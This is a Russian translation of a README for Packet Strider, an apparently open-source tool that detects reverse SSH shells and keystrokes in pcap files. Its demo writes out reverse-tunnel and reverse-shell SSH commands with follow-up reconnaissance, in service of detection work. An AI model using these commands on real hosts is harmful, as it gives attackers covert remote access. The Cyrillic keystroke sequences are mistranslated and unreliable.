Начало работы

Используется Python3, вам понадобятся следующие модули (YMMV для python2):

pip3 install pandas matplotlib pyshark

Использование:

python3 packetStrider-ssh.py -h

Вывод:

Пример

Pcap-файл «forward_reverse.pcap» получен из распространённого TTP — обратной SSH-оболочки (reverse SSH shell), излюбленного приёма красных команд повсюду. В частности, были использованы следующие команды, чтобы наглядно продемонстрировать возможности Packet Strider простым способом:

• Прямое подключение от жертвы

  • Команда для прямой сессии: ssh [email protected] -R 31337:localhost:22, которая связывает локальный порт 31337, готовый к обратному SSH-подключению к компьютеру жертвы. Это соединение может быть установлено различными способами, включая ручной ввод, RCE, SSRF или какую-либо форму персистентности. В целях данной демонстрации это стандартная прямая сессия, выполненная вручную.
  • Это НЕ был первый раз, когда клиент видел сервер. Мы видим это, потому что дельта для связанных пакетов была очень мала: отпечаток ключа сервера уже находился в known_hosts клиента, поэтому пользователю не было предложено добавить его — что увеличило бы задержку пакетов.
  • Две последовательные неудачные попытки входа с паролем от человека, после чего последовал успешный вход с паролем длиной 8+ символов.
  • В прямой сессии вводится ls в следующей последовательности: 'л' 'в' 'в' 'back-space' 'back-space' 'с' и затем Enter. Общий размер данных, передаваемых по сети (как вывод ls), классифицируется как инфильтрация, поскольку данные входящие.

• Теперь на машине атакующего (сервере) инициируется обратная оболочка к жертве:

  • ssh victim@localhost -p 31337. В этот момент, ещё до начала процесса аутентификации, Packet Strider идентифицирует инициирование обратного SSH-сеанса на пакете 72.
  • Теперь атакующий имеет обратную оболочку на хосте жертвы. Отсюда он может отключить настройки истории и выполнять любые действия по латеральному перемещению или шалости по взлому. Простые примеры в этой демонстрации — начальная разведка пользователей.
  • last выполняется в виде нажатий клавиш 'л' 'а' 'с' 'р' 'delete' 'т' 'enter'
  • who выполняется в виде 'в' 'х' 'о' 'enter'
  • exit выполняется в виде 'е' 'х' 'и' 'т'

• Затем, наконец, прямая сессия закрывается, просто чтобы продемонстрировать, что обнаружение функций прямого SSH по-прежнему работает.

  • exit

Сетевой трафик этой активности сохраняется в tcpdump.pcap, и теперь пришло время запустить Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

На этом графике показана временная шкала ключевых прогнозов (изображение аннотировано здесь)

На этом графике показана некоторая статистика окон, полезная для глубокого погружения и экспериментов с признаками.

На этом графике показана простая гистограмма

Вдохновение

Этот проект был выполнен как личное доказательство концепции, способ потренироваться в работе с некоторыми библиотеками Data Science на Python. Он был сильно вдохновлён моим обучением на Coursera по машинному обучению и Data Science, в частности библиотекой pandas и тем, как свёрточные нейронные сети (CNN) «шагают» по наборам пикселей изображения, используя скользящие окна для обнаружения определённых признаков.

Советы

Packet Strider выполняет огромное количество «шагов» в режиме полной ёмкости. Это может привести к значительному расходу ресурсов, если pcap-файл большой, или, точнее, если в pcap много пакетов. Вот несколько советов по ускорению, особенно полезных при первоначальном запуске, например, чтобы просто увидеть, была ли спрогнозирована активность обратного SSH, а затем добавить функциональность по желанию.

• Убедитесь, что вы используете последние версии модулей, выполняющих тяжёлую работу, например pyshark/tshark, pandas и matplotlib.
• Опция -p --predict_plot является наиболее ресурсоёмкой. Подумайте о том, чтобы сначала запустить только с выводом в терминал, а затем посмотреть, нужно ли вам строить график.
• Используйте опцию -m --metaonly. Она извлекает только метаданные высокого уровня, такие как имена протоколов и данные HASSH. Это может быть полезно для быстрого определения, имеете ли вы дело с интерактивной сессией OpenSSH или с клиентом передачи файлов, например Cyberduck.
• Предварительно отфильтруйте pcap-файл по SSH-трафику.
• Предварительно отфильтруйте pcap-файл до нужного потока, который вы, возможно, узнали, предварительно запустив быструю опцию -m --metaonly. Вы можете исследовать только поток «NSTREAM» с помощью опции «-n NSTREAM» или предварительно отфильтровать с помощью Wireshark и т.д.
• Могут возникнуть ситуации, когда вы обнаружите что-то интересное в подмножестве очень большого набора пакетов. Здесь вы можете использовать функцию масштабирования, чтобы исследовать и построить график только пакетов в интересующей вас области. Используйте для этого -z ZOOM, --zoom ZOOM. Например, -z 100-500.
• В большинстве случаев вас будет интересовать понимание активности нажатий клавиш, поэтому, хотя использование опции -k сэкономит время обработки, это также означает, что вы не получите эту ценную информацию.

TODO

• Больше протоколов!
• Рассмотреть многопоточность и посмотреть, где это может помочь скорости обработки.
• Повысить эффективность скрипта, особенно время построения графиков.
• Улучшить индикатор вставки (Pasting).
• Улучшить индикатор клавиш вверх/вниз.
• Аннотировать графики с помощью ImageMagick или аналогичного.
• Улучшить функцию отчётов, записывать на диск.
• Индикатор обратных клавиш консервативен из-за инкапсуляции пакетов — потенциально может сообщать о двух нажатиях. Эта проблема не существует для прямых нажатий клавиш, так как порядок пакетов был обработан на случай их поступления не по порядку. Изучить варианты.
• Перенести на Go для скорости.
• Режим реального времени.
• Изучить влияние дополнительного туннелирования локальных портов через прямое соединение.

Отказ от ответственности

Используйте на свой страх и риск. См. условия лицензии.